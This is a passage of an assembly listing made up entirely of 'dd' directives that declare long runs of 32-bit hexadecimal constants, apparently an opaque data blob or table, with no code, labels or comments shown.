81C21CCDh, 2EF40A6Fh, 147268B3h, 0D39267FBh dd 7E3CAEC0h, 0B44A2171h, 27092F08h, 91F98BA3h, 47EB8036h dd 405E6E07h, 2AB05EBAh, 479A4F95h, 38DF2D2Eh, 1E06210Ah dd 839FA41Ch, 7B084480h, 0FEC48CBDh, 3D2E9AC0h, 1FD6C36Fh dd 0DAC0D8CBh, 6A50C161h, 0E37FA9CEh, 0BCBE3B61h, 94EF48D5h dd 0A80E6EF2h, 2DCD2DAAh, 0EB9447F1h, 2DB47E77h, 0B3FC95ADh dd 0DBBC832Ch, 0FB905550h, 0A797066Eh, 0AE95BFCh, 173BD139h dd 193BDE60h, 0CDB72279h, 5A38A4BBh, 0E7CB6F1Dh, 2FB7E21h dd 0FE2AA608h, 31226395h, 43E67BFAh, 91B523E4h, 0A653A104h dd 0BEC231A9h, 0C20117D4h, 0BFC5B542h, 0D08DCE99h, 6100E81Bh dd 617C5DFAh, 0A80059DDh, 3A102A00h, 4A3A8E81h, 0CCF1D9Ch dd 300AAD82h, 0CCA7B15Bh, 91109041h, 0A387C8A5h, 0DBC0B350h dd 49ECA79Bh, 0D68E1BA8h, 51625175h, 0F69043B7h, 4FDEBB79h dd 406CAD61h, 0C97C4946h, 597212FAh, 357F56B5h, 0A9E79734h dd 504BC9E3h, 0AEF3BF07h, 3481932h, 0E5C196BEh, 0FC28E082h dd 0D249E97Ch, 88F91C58h, 0EAA08133h, 0E3AF86EBh, 98635DC5h dd 41A7AEFDh, 52074F67h dd 0A6F3017Ah, 8780E76Ah, 898DA15Dh, 5A6C8F23h, 0E7B47902h dd 4FB30D5Ch, 0D264DF8Bh, 0F0CDCEF0h, 4B1880C1h, 2AAA8F32h dd 72E048F7h, 19EC73C2h, 9693DCF2h, 0EE32C6BAh, 0A7660F08h dd 0C87D6395h, 0BD118CBCh, 0E2C582C1h, 0D9F3ADD0h, 0C6BF50Ch dd 0A2377ACCh, 23F4C6Eh, 1A51145Bh, 84B17274h, 0C50118F6h dd 37D346D3h, 0A9A222C6h, 1B012961h, 377C5B41h, 0CDAA429Ch dd 0B3A48CACh, 0A037C2E2h, 0A6ECBFF4h, 4E54B093h, 855A9E07h dd 77F8F6A8h, 1BCA42FBh, 72950AD2h, 87A96674h, 0D1898CCDh dd 0E0B51540h, 9D5AE7DCh, 251637C2h, 80D884C5h, 39723DBAh dd 0C6FB497Eh, 6473F743h, 0A234A2C0h, 0B9B16C61h, 5A987C3Dh dd 0ED20338Dh, 0DEB9F9BAh, 890FC45Bh, 379F15D9h, 7A07BEA5h dd 5C51957Fh, 0E4C5104Fh, 0A3E7FCB7h, 97A6DE48h, 852905ECh dd 0BDE98C34h, 0EE95C7A3h, 0FD68FDD1h, 814E2CDEh, 0D929645h dd 11A1CF6h, 0FBAB60Bh, 0BA3B3CBCh, 34A1A0F7h, 59069AF5h dd 0EAADB8B0h, 5D4CEA9Bh, 5BD7AF03h, 0B301B3DEh, 5B377C7Ch dd 0C338A382h, 3680980Bh, 904D8C27h, 46165502h, 0CA84CFE2h dd 0E525D3BFh, 0E08C7CF6h, 8FEBA2C3h, 94904365h, 97537150h dd 0F5D5E4D2h, 0C0FA37EEh, 8E807C92h, 2C9392B5h, 0D33A88B0h dd 7EBEAF57h, 0A0D2DB87h, 6A51212Ah, 3B49A83Eh, 3411FC1Eh dd 396370EEh, 4F4F9084h, 2DF10F61h, 0FF3986B8h, 427AC04Eh dd 0AD8CB7EDh, 45AD9650h, 0E2BBFA01h, 39C9787Ch, 2E2883D5h dd 0DA05DC65h, 0E29BA02Eh, 859A4AFDh, 0F5498AA4h, 5E20D821h dd 0ED9586C4h, 0AD90D121h, 289F556Eh, 0F484A05Dh, 966BE90Ah dd 0BF1A729Eh, 0EAC0B83Ch, 718C0235h, 5B86E675h, 8D37AFB3h dd 75A8C2B6h, 0B3EE8A31h, 0D3DDCBF7h, 0E886277Ah, 7EBAFFA4h dd 495AA6A1h, 0D6312BB0h, 85FA3C2Bh, 0D4A08771h, 0AF9FE87Bh dd 2B5EBB33h, 0EDC441EFh, 76EDCF7Eh, 9E3C902Ah, 845078EDh dd 0D75E684h, 6DA88F70h, 31B68903h, 0F756056Eh, 479BB56Bh dd 9764CB92h, 3444BEDDh, 679A995Ah, 0B0BDCB01h, 0CED39BE9h dd 0A6075DF5h, 749FD4C0h, 0B201849Dh, 0F87BB362h, 9F82C8C7h dd 0FA2A59E0h, 49428772h, 9C9C3836h, 47D5E13Bh, 0EBD79B1h dd 0BC5A3DF3h, 0B5095883h, 0FF89AD60h, 3F0BBD9h, 0A84FAF77h dd 0AA27B1C2h, 0BC82C28Ch, 0AD81F7D5h, 0A2281179h, 587AC5B3h dd 7A841B50h, 0B7CED4D1h, 0B65CA03Bh, 94C8A65Bh, 0AB71EBBCh dd 4F46F741h, 177F9957h, 7A45ECEBh, 0CC41BFDh, 9E314514h dd 512F4B01h, 6AD11CD2h, 0C9628D62h, 92241FE5h, 0C60C482Fh dd 8BA4AB3Eh, 504C0972h, 0F270FD0Dh, 43A1F3C1h, 7B07C25Eh dd 3A6A5FDDh, 0A48A1C54h, 0A0D208B1h, 16CD2C0Dh, 0E86E5BA0h dd 7804D539h, 98726B7Ah, 9EDF1B21h, 83F44B64h, 69CD8479h dd 77A37EF1h, 1E4B265h, 2545BC4Dh, 0ED68D63Dh, 0D4CCF7E2h dd 8504ED56h, 7572F828h, 0AD2A6B11h, 10FEAD8Bh, 0D4C6479Eh dd 0CD21EBCCh, 5FED0C9Fh, 0F64443BBh, 256E425Eh, 0FE1AE5C8h dd 38AA430Bh, 4473654Dh, 3F34A623h, 660A3FE9h, 2A770C86h dd 0A748EEEFh, 0F5756709h, 0C66E11A1h, 23C0EBCAh, 819977D4h dd 0DFF28104h, 15CC5116h, 11F14686h, 0D452922Eh, 4C211FEh dd 20D5A29Eh, 61DB6F5h, 86C34568h, 0E75F34ABh, 96765DD7h dd 0BF2E7202h, 8D932F2Bh, 0AD6C7A5Ah, 6A91C4EBh, 894C1EBBh dd 7167DD0Ah, 26AE50D1h, 18477818h, 59A559EFh, 0AEB59DD4h dd 189689FFh, 77C4D8D0h, 0C9C65C52h, 6E7CE382h, 7C1A363Fh dd 885BE5EEh, 49269DB1h, 30FBDFC6h, 508D0F14h, 0D008EA3Ch dd 877AFAB2h, 5F901254h, 19520B9Ch, 0D3385766h, 87051856h dd 5FEDFD12h, 82950685h, 0BFBB690Ah, 869E5369h, 0C11BC28Ch dd 662F7FDFh, 83B82766h, 4AFD9197h, 83F3B7B3h, 0C5A4E02Ah dd 0F7BCFE23h, 1E1A8644h, 2F579342h, 0E62D39D6h, 0A04AC5EAh dd 93A1C43Eh, 0AE34AC81h, 2BAB7337h, 0A7E956ADh, 166F1490h dd 2E1DB24h, 0D1316BD6h, 6F43E66Bh, 223E79F7h, 0C65C438Dh dd 46FFDDA8h, 14CFA77Eh, 0FD42B761h, 27A0A27Ch, 5E21E2C9h dd 53C082EDh, 0CA172A8Eh, 7AB778B8h, 0CF21242Eh, 1592C917h dd 3E0EF1D0h, 6FBBCC6Dh, 0A01C467Fh, 8316BB37h, 4AFA66FFh dd 0FAC5E0D0h, 1A6F2ACEh, 2AEE80D0h, 0C01CAB9Bh, 624BBA34h dd 87704A55h, 0BA18176Ah, 7EAFF721h, 1E3C4D92h, 3EEA0A6Ch dd 653CF71Bh, 0B614CDA0h, 0F9D9BBE7h, 0C5DAAEB8h, 66E5DD25h dd 40E22253h, 504E964Fh, 33B12839h, 0BA41B0AEh, 2D9A1C88h dd 0F48C3121h, 0FB5FEE88h, 1A556A8Eh, 0BE883B00h, 71831FF0h dd 0B35F468Fh, 14EBD825h, 56279840h, 0E058D99Ch, 26E818E0h dd 8720EB35h, 5D01F387h, 0E83F4592h, 0C29BFB54h, 0FD57A78h dd 0B00070DBh, 41A4E918h, 3687C98Ch, 0D80CBDBBh, 9CE1C5D5h dd 0F7C6D805h, 0A3372817h, 0F1377FBAh, 342521Bh, 0D0C65FF3h dd 9191E1F0h, 40D656B7h, 15B19A0Ch, 765DA1CAh, 333880D9h dd 12FBFF72h, 0A1E787CCh, 9ADE4E60h, 0EB948E74h, 4AFEA2E7h dd 0F037D735h, 0C7603E7Ch, 7B5AB6B7h, 10EFBC81h, 0D088EA1Eh dd 0A71F5763h, 25061787h, 7415F32Ch, 0C7B775D4h, 0C02210AEh dd 0B7A69C66h, 88AD5A44h, 4FEA6599h, 0AB00AAE0h, 24F3BA95h dd 770DC059h, 0E4C0893Fh, 41244404h, 0BFF240FCh, 575E3ACFh dd 0D834EAC6h, 860E8AB2h, 0CDED7DF2h, 7285FAF5h, 6ED62C7h dd 6EC8E3Eh, 61594E33h, 0AB14B10Ch, 0D7AAD56Ah, 9A91DC20h dd 0D1789F9Dh, 78E76FE3h, 5F322C65h, 0CFF80166h, 2C5606D5h dd 8E67A4BBh, 945B1EC8h, 4DC417FBh, 0D7FBBABDh, 7921523Dh dd 70FECBD8h, 9925433Ch, 41F453E6h, 1D5ACC7Eh, 5D2245ACh dd 38E04CBBh, 0C50E76BAh, 5406C58h, 88EC5EA0h, 0D023249h dd 90076540h, 0CF7021A0h, 1F16DFF9h, 56179E04h, 0BC3125D3h dd 810DD5ABh, 0DC7AE430h, 5DA446A7h, 752FB754h, 50FB5AC2h dd 326B3454h, 3F40C842h, 0D3F2A367h, 7ED2645Ah, 5DE60C4Eh dd 4887AE94h, 5E14E6BAh, 545B4E19h, 5DFFB9FDh, 0CC34392Ch dd 0A964947Fh, 0F6613E6Ch, 0AC277FEFh, 0B42F6F46h, 0BFAEA4D3h dd 0D743431Bh, 41249169h, 3CFC7299h, 0D5EFCA23h, 0D275C6E0h dd 0A45B4E07h, 0F208C63Eh, 1DD4A807h, 1711C4C8h, 0A686527Ah dd 9791BDEFh, 0AE70BB49h, 0C88A4A31h, 85A6CF74h, 0F59BA7CBh dd 80FE34C5h, 0AA00E69h, 0D04B8C7Fh, 0CB329D4Eh, 0C7268245h dd 7AD35B45h, 1915E8FBh, 9602F640h, 0A5E6215Ch, 450C2F5Ch dd 0DB32F4A2h, 0A0E77A98h, 0D103FD7Ch, 7AA30922h, 53E6D78h dd 0FDA60174h, 6A238FACh, 95E83Fh, 8C8CE024h, 76E23B33h dd 0FC653AA4h, 2166BAB1h, 0C5DC4BC0h, 76D39C23h, 0A4F8F21Eh dd 0F52F68E5h, 8F4FFC0Dh, 0BB0CC6E6h, 5436CC47h, 87720C6Fh dd 0FCFCC0B3h, 5CDF3979h, 44462B4h, 0C816C645h, 7CF51CD0h dd 46399489h, 4A092FB5h, 9DC8B5C1h, 0B2E012B6h, 7A8F019Ah dd 55387C3Eh, 7ADC7956h, 9FC57B8Dh, 827467B4h, 0F54DB5CEh dd 4121B8A9h, 0CB9F0ADFh, 0D2B1C760h, 63BEED81h, 0E40C97BAh dd 1631F0F2h, 0FBD291CBh, 1EB16B9Fh, 0FA447E66h, 426C483Ah dd 0C3C3598Dh, 606397BBh, 59F28535h, 0E71E70F9h, 4E5D4838h dd 347F90E9h, 121AAF8Ch, 2A968FDh, 0A184B866h, 0BB8D431Ah dd 1243ADE1h, 9F8EE691h, 0B935D96h, 4CEAB499h, 0A5B93AADh dd 6DD81EA7h, 3E6E1753h dd 0FC478B42h, 0A68B364Bh, 166850E4h, 2177B7A7h, 6A6EB8D8h dd 0C341C4B2h, 18AD8747h, 92FE3EDDh, 0F9A63731h, 6F453B8h dd 0FC029416h, 8FA43FD3h, 89DCC769h, 2B6EA172h, 297A7057h dd 0E7D929ABh, 7A51F235h, 5F9FC562h, 74C92ECCh, 84979731h dd 94C9D3A4h, 7B1D1919h, 0B30BA38Fh, 9096CEE4h, 0C8AEE2F6h dd 0FB866CD0h, 0BD962D89h, 83F24BB3h, 0B4B6CCE1h, 0EB32C7CAh dd 0A4FB2798h, 7CC9CD06h, 91FC2469h, 9E92338Eh, 0AD761135h dd 131FCCCBh, 7868303h, 873E4766h, 0CDE409DBh, 0E0102E4h dd 20B9261Ah, 0EE0C946h, 0F8A1EECFh, 80B7D1E4h, 0E25EEE7Dh dd 8B8F9DC5h, 49AD2FE8h, 520178F5h, 0B3951FA3h, 0A266B021h dd 9E9CA3DBh, 0C433EEA1h, 88CBE7Fh, 0FA2BC35Ch, 90F16C2Bh dd 37C4C005h, 8DEFB47Bh, 1F873D1Ch, 48E94A01h, 0B21933DFh dd 6B485EB0h, 39244C9Ah, 0C23FAF79h, 873955A5h, 0CE83B90Ah dd 6B5A3D4Fh, 2EC9ECC5h, 4A2CC132h, 0BCF5FDFh, 98E2E591h dd 7920DBDDh, 97D26C87h, 86A2CB23h, 0A856136Ch, 2A174A53h dd 11663B79h, 0E8537237h, 377A15BCh, 3B98A22Bh, 8766CF3Fh dd 0E22F585Dh, 518CF00Ah, 0F524AF4Bh, 4A6F5EBEh, 352AD362h dd 0BC4B5830h, 0DDC6453Eh, 0BD74CE1Fh, 5DAB2D00h, 0B801CF1h dd 0D7644409h, 909F0D58h, 0DD3B57A6h, 20D511C4h, 3CA169BCh dd 0BC0C0419h, 5C3BCEF4h, 9E973BEAh, 37E71E77h, 8EFAA982h dd 28F40C1Bh, 0C4206615h, 3F58653Ah, 529DEA2Eh, 0BCD36832h dd 0F0EFD7B0h, 6E770261h, 3857C052h, 0E558E8BDh, 362646B5h dd 0EA6481CDh, 0ED9C0087h, 64B69FF6h, 0D32321Fh, 0C35FA75Bh dd 0AA99B86h, 8D2CB07Fh, 88ADD311h, 790DADAh, 5DE29AF3h dd 5B230030h, 3E316225h, 66B046B4h, 29BCD44Fh, 266B20Dh dd 0E5EC9397h, 3B239E19h, 76174FF1h, 0CEB9F043h, 2FF4700Bh dd 93D23B88h, 91F399D3h, 931BDEh, 697339D2h, 0CD7FDAAFh dd 2CE8D4A1h, 89B301DFh, 0C7E25267h, 0F73E0F36h, 2F323ADFh dd 9F7E2302h, 1163B53Fh, 98593652h, 0F767C641h, 0C6E06CA4h dd 43196AF9h, 0AD59D50h, 7AD4AFDEh, 55CA525Bh, 0CF88E566h dd 8F4AB5A8h, 0E6E1DD6Ah, 3A58D0DFh, 0A97B332Eh, 0F41E4C9Bh dd 3AC89814h, 0CBB3A1BEh, 56D437B6h, 157DB1B1h, 2825EC4Dh dd 0DBFC7953h, 8E77069Bh, 9E8D58C5h, 6A62DEFDh, 338BF348h dd 41401F26h, 0EE05345Ch, 0D8CF07C6h, 904E554h, 0D0E25ABDh dd 0F052D8D7h, 0AA036EC6h, 0C108F4B0h, 5A3DEA05h, 0C1E9AD45h dd 1AC73651h, 0AA26DC66h, 9A77A6E7h, 1914135Ah, 0CDC28C42h dd 5C3672F5h, 878C9835h, 1445E73Eh, 0AE7644DEh, 2B09D3F9h dd 3A80D84Eh, 0CA3ADBACh, 0CB9A3E42h, 19640764h, 8A81308Eh dd 3788884Fh, 0B121BD0Dh, 8043A3CDh, 9CDE387Dh, 267E0FAh dd 6C49C105h, 0DED5B742h, 0DAD55E7Eh, 47FA6508h, 0BAF31991h dd 0A47C7EA3h, 1CD355A3h, 59106D23h, 69D37B92h, 3713EB2h dd 6B108085h, 0B28C7C25h, 26AF002Ah, 0D80A00AEh, 16625BE9h dd 27EC52A0h, 0F1A807AEh, 0F023457Fh, 23C68F6Ah, 38DFA065h dd 93A5F2B2h, 0D1E32357h, 0DCFD59E9h, 6385263Eh, 0AD0AED4Dh dd 7170BADEh, 5113F8F6h, 840447D6h, 82B526F8h, 4455C361h dd 0B6004446h, 0DEFEB8DEh, 70597067h, 5D88CAB5h, 6EB3C51Dh dd 0D676AA6Ah, 0CC664DA9h, 0CA0D4929h, 0DA84C78h, 7893C332h dd 0AE0BE9EFh, 219AC7FCh, 0C19E6C29h, 658D736Dh, 9F3A35F4h dd 0C083FECh, 0AB576561h, 5C02E4ACh, 0F075E05Dh, 1BC0ACB8h dd 888CC365h, 485A21FDh, 5C4FC08Fh, 59FDA1A3h, 7C13F0E5h dd 0E3FC723Fh, 0E133DB41h, 9A8CCA70h, 0F9C69988h, 0A3A18A9Dh dd 87AE4E02h, 681A4A4Eh, 0C4E466F6h, 9531DF11h, 62C9B639h dd 0AF4B4984h, 1B209CF5h, 5983B85Bh, 3E7968F2h, 35E60072h dd 0F212790h, 0BD1086C8h, 0FC55E39Bh, 0D0861C0Dh, 1DD32C77h dd 1B750BD6h, 30E47E2Bh, 3B646ACCh, 9C3DB12Eh, 0F4E45913h dd 5F915B2Eh, 0A2462211h, 37FCC84h, 2E94A779h, 0DF02A204h dd 0DFA41CF6h, 341F1277h, 9951727Eh, 9B19F038h, 0A1017CDAh dd 214C5121h, 2CAB4821h, 0BE4CCCAEh, 2C022942h, 76A41A3h dd 0E4BE6C3h, 2B340DB4h, 0DB23DCD7h, 3F31CE9Bh, 0E91213C9h dd 6DD46D31h, 54BE5EF8h, 9BAA792Eh, 9F5D6799h, 942760B4h dd 4EB3CE86h, 438054DDh, 0FA412A13h, 2125B705h, 88E4ECDh dd 0FD1D3358h, 59EFEBC9h, 1A00B4E2h, 0AD642D55h, 45F06758h dd 6BF61A57h, 0B3E4D8E1h, 81FD4390h, 0BC1DA75h, 1D9FB7E1h dd 0AF4C60D9h, 0DEA3301h, 1F805634h, 62633291h, 85145011h dd 0A0DF5253h, 1B2A6EB6h, 970C0A81h, 0CB28B702h, 8B2F09FDh dd 86023CD0h, 1FBE80E0h, 7F9CA433h, 0BF73AEDBh, 88684B15h dd 0F1F8F82Dh, 43975C44h, 6918A907h, 678A2EEDh, 0B5517EFh dd 0F35A9C22h, 2AABE8C8h, 0D639BB66h, 6AF1137Ah, 0FCB6DECCh dd 805E86B4h, 0A413C7ADh, 0CA4F0A63h, 0CBDEE572h, 0C333D67Fh dd 33CB0343h, 0C7F07DDh, 0E0835A04h, 819B2D6Eh, 3B0B1B8h dd 0BA12DF09h, 3457FAD6h, 0A450FE88h, 451485BDh, 26CECC9Eh dd 1661759Ch, 504DECDh, 59F76D7Bh, 8F2CA78h, 0CC18F99Ah dd 8B8FF020h, 3F8FB9CAh, 1D603C63h, 6B97AE81h, 0A8F2AA2Eh dd 0AB16C764h, 3E7B0686h, 5B532046h, 91D3A8D2h, 98A254EFh dd 93CB30CDh, 2C1F43C5h, 0FC1C1571h, 0BD55CD1Eh, 0BC45C055h dd 873407EBh, 1C438794h, 0F2916774h, 32527942h, 0A02D1B3Fh dd 5E4C9A40h, 0DF084B0Dh, 621E60F3h, 387BD7BFh, 146C6478h dd 0AC23FC73h, 5B32D182h, 0E9EB4021h, 0D5CD6764h, 5C774967h dd 7539862Dh, 0D3D73A0Eh, 0C0EAF971h, 328D413Fh, 0DA691178h dd 0A9A231D7h, 4D779ED4h, 29FCF11Ch, 87306F54h, 716376Ch dd 0BAEB5A1Fh, 0A5D9DC7Fh, 0B7F7AD39h, 7B2117A8h, 6BB9E5D1h dd 4725D78Eh, 13BCAB7Ah, 0CDA415A7h, 55F8F823h, 9C4FFB4Ch dd 69FB3E4Bh, 80CF2D1Ch, 3821F375h, 49B811B3h, 0A0D6DD32h dd 5B949A53h, 4D620FF9h, 0D679AB3Bh, 2E7F02C5h, 0E3A81201h dd 1E6EEDD6h, 0AFD6AD07h, 0C4ACC6BAh, 5919FC40h, 0E632149Dh dd 0F521005Dh, 74925D57h, 0B0852D0Ch, 0DCF19AB5h, 0AD14E119h dd 0F3D241Fh, 1E5DCA6Dh, 9FDDA14h, 0FB5D42A0h, 0CF9D1195h dd 0C019F5A3h, 0D1F045B3h, 2C253B5Bh, 92816BDAh, 353A34A1h dd 9CDC208Fh, 0CF794F3Bh, 2683C615h, 46852C87h, 1F818E38h dd 478807F5h, 0F80DB144h, 0FFEB39A8h, 1F2FC8B7h, 484FE714h dd 75D41669h, 4A39A159h, 269BE8C8h, 0FB4BC930h, 0A9B51EE2h dd 5D040DB2h, 0EB65515Bh, 0A3BBED46h, 0CA5388CAh, 6437ACA5h dd 669852F1h, 5347A63Ch, 907111E1h, 4B70ADFAh, 0FC86B10Eh dd 310B5D3Dh, 945318AFh, 2D9BEA4Fh, 4E89629h, 0F258BCF3h dd 8BF6E58Ah, 762BDAEFh, 0BAB4CAA2h, 2B54D3E6h, 31D840A0h dd 0DA6E6B5Bh, 0F3F6D5B3h, 1F292438h, 19917A85h, 0C6D28E60h dd 1FD87CA1h, 99CD46DCh, 8B26BCE6h, 24B12F69h, 51185DC2h dd 6468BB5Ah, 0B5C46D44h, 0F671E663h, 71FE105h, 3F1D4057h dd 5156024Bh, 0A873416Ch, 8BA2687Dh, 0C975B122h, 0BC355F0Dh dd 0CFA154A3h, 0AF2AFEE6h, 5B48E30Dh, 0FC59247Eh, 8E757831h dd 77A8B328h, 0CC39785h, 81AF2189h, 0BFC01A2Fh, 64140246h dd 3DEA4CD9h, 0CB1A3960h, 9FF08145h, 2090F82h, 98BADDCBh dd 146C280Ch, 34BC1A3h dd 3CB05CA3h, 3DAF4C8Ch, 0DF79A5A6h, 8EBBFF0Ah, 0B8761CC4h dd 6BB943F2h, 955577E4h, 0DB796A7Dh, 7139031Eh, 0A2B6C62h dd 789A791Eh, 3DA3B1B5h, 23431484h, 0D7888F22h, 31102AF7h dd 67A9573Dh, 0BA717086h, 3B5431CEh, 2BA0247Ch, 605CE2A0h dd 2802508Ah, 0F9D98398h, 73B51D92h, 0A7C23651h, 2D06E9CAh dd 895DF333h, 58E8C9F4h, 2BA98152h, 1AE6F8A6h, 0BEBE0CBCh dd 5EA6EDF5h, 9E413BCAh, 2707A9Ah, 0F35DB259h, 8BD8450Ch dd 0AD7486D7h, 7CE34A1h, 41432B7h, 0F09A7D59h, 39261FA8h dd 0E94F1D67h, 8438E998h, 56EE5B4Ah, 0D8BE19D2h, 921D92D8h dd 0A5B9DE26h, 3BCFD412h, 0E2E37FB5h, 0AFD6A308h, 0F881A4F3h dd 0D38C75Bh, 0C63755AEh, 1E39C367h, 0D3DD96C9h, 0F1EAE357h dd 77A691C7h, 943DF620h, 660683CAh, 733C8406h, 93427C87h dd 45A2D572h, 0F6F39D9Eh, 42DEB5E0h, 0D5DE0879h, 7A712952h dd 19CFB8EFh, 24EECC78h, 0F8620055h, 6E9FC69Fh, 0EE3E1F43h dd 88C2684Ah, 2A19B606h, 8560C8CDh, 568C3746h, 86BCFCFCh dd 0F65D8D68h, 836B7504h, 0EEAEE874h, 794BD948h, 369826CAh dd 0B02F4943h, 0D6F687B4h, 28B8415Ch, 75F29CEEh, 0C5066242h dd 386DBBA5h, 6274B976h, 0F44C177Fh, 0E07EFEB1h, 921B11B6h dd 0E3A1D8BAh, 8B740D14h, 199B6064h, 0B3A65B37h, 48816173h dd 9FBFE51h, 9D83C03Dh, 61CD3962h, 0A52EE5D3h, 0DD11B931h dd 0E40BF993h, 0BFB59BDAh, 75C0F219h, 21D3BA69h, 0BA6473BEh dd 2118F616h, 0F069DA60h, 0C5B6825Ah, 0A5A5E9D0h, 83EBF5F6h dd 68DE326Fh, 8CBB9134h, 0EECAA9ECh, 0AFEE054Dh, 0E98A32B7h dd 6FEAF7BBh, 0EFF50543h, 60702973h, 423A6CD7h, 2EDCE2CFh dd 0E3F40D31h, 0B995D6D4h, 14EE4C13h, 0A1053E51h, 5094F958h dd 0DF9DE300h, 2A985352h, 0B9F96732h, 0B54B6407h, 60423C1h dd 0B5E923CBh, 375FDD0Ch, 11CD3CD2h, 0C2E7FE2Eh, 9F0EB3D0h dd 5E7A496Fh, 3A793EEEh, 47331149h, 1A5800h, 0C45961E9h dd 0B2468634h, 13428863h, 4761E29h, 79B8620Ah, 603C4D44h dd 30A4CB1Fh, 0A471FCEAh, 1C4ADA0Dh, 324ADBFFh, 56959230h dd 0D5BB68ADh, 57056AA4h, 81C394B6h, 0CCAB320Dh, 0B126A811h dd 3E5A3293h, 7D17B3D7h, 2FAE1298h, 1A650426h, 5EAB3544h dd 13113F25h, 17A32E27h, 0DB2C416Bh, 0C1B7E11Ah, 0B09B698Bh dd 3890E7D9h, 0E4C4AD39h, 7EB8AAC5h, 2B7BC9EDh, 0A89A83B0h dd 0F281CA21h, 8B27135Eh, 6C67C61Eh, 0CD9242E0h, 0B6B1BECFh dd 9A7C7848h, 0B5BE644Bh, 2EA28F7Fh, 702D0A22h, 93FBC27Fh dd 0D10E3530h, 396A709Ah, 0E9316A1Dh, 0CEF04888h, 14DE6433h dd 9BC6C273h, 0F367ADA1h, 340438B6h, 0C7DE457Eh, 27F97758h dd 339FECE5h, 0F84385D8h, 7740027Eh, 8630C588h, 356261A8h dd 0EC1B590Ch, 0AB649D6Dh, 0BA60CA0Eh, 385C7D9Fh, 42BFEFA2h dd 0AE86768Dh, 0C546DAF3h, 60052859h, 6CB13EF0h, 0F4F4939Eh dd 0FA47EF57h, 1746D95Eh, 32445076h, 0A860E6B8h, 85D79240h dd 20DF27D1h, 0C5045A8Bh, 14FAD10Ah, 266E49E1h, 1E14856h dd 18EA07C2h, 0A4214471h, 0E092DC8Ch, 8D9790DBh, 0B19E8C4Ah dd 0D190E63Ah, 86721440h, 1850AA41h, 5497C9AAh, 0E7C59F01h dd 6235A559h, 76547FB1h, 9473C005h, 8A4CFC43h, 0AF7D41B6h dd 453D8EA1h, 2D230038h, 57C3FF48h, 0A690B083h, 248EBB9Dh dd 98744DB5h, 0C17EF3C1h, 17F9D76h, 0A415FDFFh, 11E0D971h dd 2D447DAFh, 5F635244h, 0CB229984h, 0C99756A6h, 17BAEFB3h dd 41D10DB1h, 5D5B3C55h, 2F83129Fh, 0D80189FEh, 0C388A5DDh dd 0C7D46BF2h, 0CC2D6995h, 5ABB3374h, 13B36D9Ah, 0B70C1CDCh dd 0FDBB4F98h, 267E1ADFh, 95343039h, 6F49EBA6h, 57D165BDh dd 0FEE784E2h, 0CAA7629Eh, 72F58DA1h, 0D0CB473Fh, 0CB176FE5h dd 9B89DC71h, 7953C703h, 168E3348h, 4DC290D7h, 0FEE3C5A5h dd 62264B11h, 578B47C8h, 0B5CD18E1h, 0FCC32149h, 712E2058h dd 47294F95h, 64F3F1B2h, 615A00A1h, 162A5D7Eh, 610E59EBh dd 0B1395AF6h, 5843C6BBh, 39DD7DEBh, 11A3E85Eh, 47C560F5h dd 0E40DEEEEh, 8C8A89D8h, 0D7146653h, 0DFD67C93h, 8B529E04h dd 0FD23E11Bh, 404A8C52h, 40A5B9FBh, 1599757Fh, 0AACC1404h dd 72A18949h, 83765E21h, 0BF52D6CCh, 0A35C7892h, 176C6552h dd 91AFB27Ch, 0B42148A3h, 1B50794Eh, 2F65F0ABh, 44AAC008h dd 0AB732017h, 51B883F4h, 0E385E68Eh, 0EF691DB6h, 0A2B7BB8Ah dd 57A916EBh, 640EEF72h, 4ADADADAh, 85DEEB16h, 925A0C89h dd 0F5C050CAh, 9167CC00h, 830B21D2h, 3C2AF542h, 0F25CAC70h dd 2CD8569Bh, 0E83DC215h, 1A3362ECh, 6A6A11B1h, 9E7BC198h dd 0C4577DE4h, 400A1DACh, 4BB3F1BAh, 0A04B2742h, 0D03C06F7h dd 2BDCCA98h, 9153DA8h, 0A3AD065Bh, 5B897EC2h, 0A5DFA98Eh dd 3275F1B4h, 0B281A5AAh, 0E42F2277h, 0DDF2F185h, 9ADB4611h dd 384D2973h, 0F78E932Eh, 0F625BDC8h, 9DDCE845h, 96C22E57h dd 0D411C618h, 0B2441826h, 2CA43A0Ch, 5D2844C4h, 4A2F515Fh dd 8ADD476Dh, 0D406366h, 1C111503h, 78AF7E32h, 84BFCD0h dd 0EF485500h, 558A7077h, 0A0E6FD45h, 0CAAA5108h, 41D26743h dd 0DB53FE75h, 1A0F1A6Bh, 0F613CEF2h, 0DEE34A04h, 2BD7B206h dd 0AE4DE7F9h, 8998C6D6h, 43C1CBD7h, 0BC190D26h, 102974A7h dd 3048EE4Fh, 767A61F8h, 6C2B3590h, 0B9CE3676h, 0EA53757Ch dd 82B8B368h, 5B6F8750h, 0F750BC72h, 8AD139FBh, 0A2D3D821h dd 7FA467C8h, 3ED63579h, 6E2C10CBh, 0A20D7BFBh, 45E81AC5h dd 449AD585h, 61833D47h, 0DC2778FFh, 7FF948D9h, 9CA2E898h dd 90A703F9h, 82EA18BCh, 324E5CBh, 0E9826631h, 0A5D4E273h dd 0FF3CFF5Ch, 8B9AF1Ch, 0FD74408Ah, 7B8775ECh, 94632DB4h dd 0AE27D928h, 0CA2F33F1h, 3CCCE704h, 76FD8B6Eh, 269B2818h dd 0D2DA2D60h, 87EE2241h, 9CEAD4C6h, 607B12A4h, 0FF79B118h dd 1D2BFA58h, 0F76DA0D9h, 0E76C9462h, 0A0ECF4AAh, 6C56192Ch dd 0A98E5ED1h, 0CDAF8F68h, 8CCAB81Eh, 24BE272Bh, 13E094ABh dd 984C96E6h, 959D84Ch, 1C7AEFFCh, 9D3E3FFDh, 86F18541h dd 1C6AFE2Fh, 0BECDA022h, 4CA47DE8h, 1470FAC3h, 668E9E26h dd 1BD665C6h, 77FFA957h, 5803E670h, 9842069Bh, 4CAAB520h dd 4731546Fh, 0CAD708FEh, 0F58191EFh, 4F53A9C4h, 2D856145h dd 7059C7ECh, 94D7A76Ch, 0D52DA158h, 937317FDh, 0D1C83330h dd 3249F7F9h, 7D944414h, 9613B74Ch, 0E45A515Fh, 86C68FF7h dd 1A3B3010h, 4BF0EB76h, 0B1C1AA55h, 0F7E61767h, 57F68CC2h dd 2BF736B2h, 573116FBh, 0A03EACC6h, 330A5F30h, 46B52FCCh dd 6D3D0DB6h, 9B7E31BCh, 89723113h, 4F353FFFh, 5086E78Ah dd 1A2365D7h, 3AD8623Dh, 7C1E6593h, 0EFF56A41h, 6B9D47B4h dd 278F4B97h, 0B190A053h, 3A89C70Ch, 5815A427h, 722F6B40h dd 3AB4DD68h, 557E1EC3h, 